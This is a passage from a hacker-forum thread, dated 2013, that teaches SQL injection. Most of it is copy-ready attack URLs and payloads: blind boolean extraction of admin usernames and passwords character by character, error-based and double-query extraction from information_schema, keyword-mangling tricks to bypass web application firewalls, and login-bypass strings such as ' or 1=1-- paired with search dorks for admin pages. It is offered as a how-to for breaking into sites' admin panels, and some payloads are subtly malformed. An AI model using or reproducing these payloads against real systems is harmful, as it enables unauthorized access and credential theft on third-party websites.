www.site..com/news.php?id=1 and (SELECT 1 from users limit 0,1)=1 * page doesn't load norma/false
www.site..com/news.php?id=1 and (SELECT 1 from admin limit 0,1)=1 * page load normal/trueCode: www.site..com/news.php?id=1 "(SELECT substring(concat(1,user),1,1) from admin limit 0,1)=1" * page load normal.true
www.site..com/news.php?id=1 "(SELECT substring(concat(1,password),1,1) from admin limit 0,1)=1" * page doesn't load normal/ false
www.site..com/news.php?id=1 "(SELECT substring(concat(1,pass),1,1) from admin limit 0,1)=1" * page load normal/trueCode: www.site..com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),1,1))>97 * Page load normal the first char is a we can try with admin ?
www.site..com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),2,1))>100 * Page load normal second characters is d
www.site..com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),3,1))>109 * Page load normal the character is m I can be bet that it's admin.
www.site..com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),1,1))>105 * Page load normal, the character is i
www.site..com/news.php?id=1 and ascii(substring((SELECT concat(user) from admin),1,1))>110 * Page load normal the data is admin.Code: www.site..com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),1,1))>122 *Doesn't load normal the first character isn't z
www.site..com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),1,1))>112 * Page load normal first character is p
www.site..com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),2,1))>97 * Page load normal the character is a
www.site..com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),3,1))>115 * Page load normal, the character is s
www.site..com/news.php?id=1 and ascii(substring((SELECT concat(pass) from admin),4,1))>115 * Page load normal the data is pass.Error based injection Spoiler:
The cool thing here is that we don;t have to guess tables and columns. Basicly you can use this method when you get error like: Code: Error #1604
The Used Select Statements Have A Different Number Of Columns.
Unknown column 1 in order clause.Code: www.site.com/games.php?id=1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1--Code: Duplicate entry '5.5.29-log~1' for key 'group_key'Code: www.site.com/games.php?id=1 and (select 1 from (select+count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a--Code: www.site.com/games.php?id=1 and (select 1 from (select+count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a--Code: www.site.com/games.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x74626c61646d696e limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--Code: www.site.com/games.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x74626c61646d696e limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
www.site.com/games.php?id=1 and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x74626c61646d696e limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)Code: www.site.com/games.php?id=1 and (select 1 from+(select count(*),concat((select(select concat(cast(concat(user,0x7e,password) as char),0x7e)) from admin limit+0,1),floor?(rand(0)*2))x from information_schema.tables group by x)a)--Code: '1~admin~password123~1' for key 'group_key'Double query injection Spoiler:
In this spoiler yoi will read about double query, it's not so hard injection. Let's start, to check website for vulnerability use '. Ok the first thing we should do is to find the column count. we do this by order by statment like the way with string injection. Code: http://www.site.com/index.php?id=1 order by 100--+- * Error
http://www.site.com/index.php?id=1 order by 1--+- * No error
http://www.site.com/index.php?id=1 order by 10--+- * No error
http://www.site.com/index.php?id=1 order by 15--+- * Error
http://www.site.com/index.php?id=1 order by 11--+- ErrorCode: http://www.site.com/index.php?id=1 union all select 1,2,3,4,5,6,7,8,9,10--+-Code: The used SELECT statements have a different number of columns.Code: http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-Code: Duplicate entry '~'5.0.91'~1' for key 1Code: http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-Code: Duplicate entry '~'universe' for key 1Code: http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(user() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-Code: Duplicate entry '~'DB_user@localhost'~1' for key 1we can do this by using this site Code: http://www.swingnote.com/tools/texttohex.phpCode: http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM `information_schema`.tables WHERE table_schema=0x756e697665727365 )) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-Code: Duplicate entry '~'number_of_table(e.g 2)~1' for key 1Now you may see that after the database name in hex there is limit, we need to incrase it to get all tables. Code: http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0x756e697665727365 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1--+-
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0x756e697665727365 limit 0,1)) from information_schema.tables limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-Code: Duplicate entry '~'news'~1' for key 1
Duplicate entry '~'admin~1' for key 1Code: http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,count(column_name),0x27,0x7e) FROM `information_schema`.columns WHERE table_schema=0x756e697665727365 AND table_name=0x61646d696e )) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-Code: Duplicate entry '~'number_of_column(e.g 2)~1' for key 1Code: http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns Where table_schema=0x0x756e697665727365 AND table_name=0x0x61646d696e limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1Code: Duplicate entry '~'username'~1' for key 1
Duplicate entry '~'password'~1' for key 1Code: http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(admin.username as char),0x27,0x7e) FROM `universe`.admin LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-
http://www.site.com/index.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(admin.password as char),0x27,0x7e) FROM `universe`.admin LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 --+-Code: Duplicate entry '~'Admin'~1' for key 1
Duplicate entry '~'123456'~1' for key 1Basic WAF bypassing Spoiler:
WAF mean web application firewall, it blocks attacks like SQLi and XSS now you will learn how to bypass WAP for SQLi it's really simple I will explain some basic techniques. First technique I will write about is actual query. Actual query can bypass the firewall here is example for query: Code: ....id=-123 \*!union*\+\*!all*\+\*!select*\1,2,3--The second one is replaced keywords: Code: ...id=-123 UNIunionONOnONUNI AAAAallLLLLLLL SSSSELLLselectEECT 1,2,3—BUT WHEN YOU BYPASS WAF THIS ISN'T IMPORTANT THEY CAN BE SMALL AND LARGE LETTERS !!! Next one is capitalization Code: ...id=-123 uNiOn AlL SeLeCt 1,2,3—Comments are: Code: \*!*\
/**/Code: ...id=123 \*!union*\\*!all*\\*!select*\
...id=123 \*union*\\*all*\\*select*\
...id=123POST SQL injection Spoiler:
POST SQL Injection In this tutorial, I will talk about POST SQL injection, since I haven't seen many fresh tutorials about it on the internet. POST SQL injection basic posting data that return true values. For example Code: ' or 1=1Code: inurl:admin.asp
inurl:adminlogin.asp
inurl:administrator.asp
inurl:login/admin.aspCode: ' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
ad' or 1=1--
1 OR 1=1
1'1
1' OR '1'='1Ok type one of the commands for admin and the same for password example: Code: User:' or 1=1--
Pass:' or 1=1--
User:" or 1=1--
Pass:" or 1=1--
User:') or ('a'='a
Pass:') or ('a'='aCode: User:admin
Pass:' or 1=1--
User:admin
Pass:" or 1=1--
User:admin
Pass:') or ('a'='aCode: User:administrator
Pass:' or 1=1--
User:administrator
Pass:" or 1=1--
User:administrator
Pass:') or ('a'='aIf the attack is successful you will enter in the admin panel. If you have questions you should ask because you can do something wrong. =) RE: SQL injection techniques - stranded4eva - 03-05-2013 Explain in your own words what makes any code vulnerable. RE: SQL injection techniques - stranded4eva - 03-05-2013 Explain in your own words what makes any code vulnerable. RE: SQL injection techniques - andenggami - 03-08-2013 Do you have an ebook for this ? Im using phone .. And sometimes dont have a internet connection .. I try to save it , but I cant open the spoiler or cant scroll down spoiler . Btw Thanks for this
RE: SQL injection techniques - Cool Bot - 11-26-2013 Its helpful but will you please make full tutorial on those above topic with picture especially on blind sql injection i am very thankful to you
RE: SQL injection techniques - Cool Bot - 11-26-2013 Its helpful but will you please make full tutorial on those above topic with picture especially on blind sql injection i am very thankful to you
RE: SQL injection techniques - chmod - 11-26-2013 (11-26-2013, 11:57 AM)Cool Bot Wrote: Its helpful but will you please make full tutorial on those above topic with picture especially on blind sql injection i am very thankful to you Don't gravedig /closed RE: SQL injection techniques - chmod - 11-26-2013 (11-26-2013, 11:57 AM)Cool Bot Wrote: Its helpful but will you please make full tutorial on those above topic with picture especially on blind sql injection i am very thankful to you Don't gravedig /closed |